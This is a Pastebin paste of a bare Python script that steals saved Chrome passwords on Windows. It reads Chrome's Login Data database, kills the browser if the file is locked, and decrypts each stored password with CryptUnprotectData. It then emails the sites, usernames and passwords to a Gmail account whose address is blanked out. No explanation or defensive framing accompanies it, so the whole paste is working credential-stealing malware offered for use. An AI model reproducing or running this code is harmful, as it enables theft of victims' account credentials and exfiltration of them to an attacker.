Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, time, sys, psutil, smtplib, sqlite3
- from email.mime.text import MIMEText
- from win32crypt import CryptUnprotectData
- from getpass import getuser
- User = "xxxxxxx@gmail.com"
- Dest = "xxxxxxx@gmail.com"
- Pass = "xxxxxxx"
- DBPath = os.getenv("APPDATA") + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
- if os.path.isfile(DBPath):
- ConnectDB = sqlite3.connect(DBPath)
- cursor = ConnectDB.cursor()
- while True:
- try:
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- except:
- for proc in psutil.process_iter():
- if proc.name() == "chrome.exe":
- ProcFound = True
- proc.kill()
- break
- else:
- ProcFound = False
- if ProcFound == False:
- sys.exit(0)
- CredString = ""
- for site in cursor.fetchall():
- password = CryptUnprotectData(site[2], None, None, None, 0)[1]
- if password:
- CredString = CredString + "Site: " + site[0] + "\nUser : " + site[1] + "\nPass: " + password + "\n\n"
- Subj = "Passwords from: " + getuser()
- try:
- Srv = smtplib.SMTP_SSL('smtp.gmail.com')
- Srv.login(User,Pass)
- Msg = MIMEText(CredString)
- Msg['From'] = User
- Msg['To'] = Dest
- Msg['Subject'] = Subj
- Srv.send_message(Msg)
- Srv.quit()
- except:
- pass
- sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement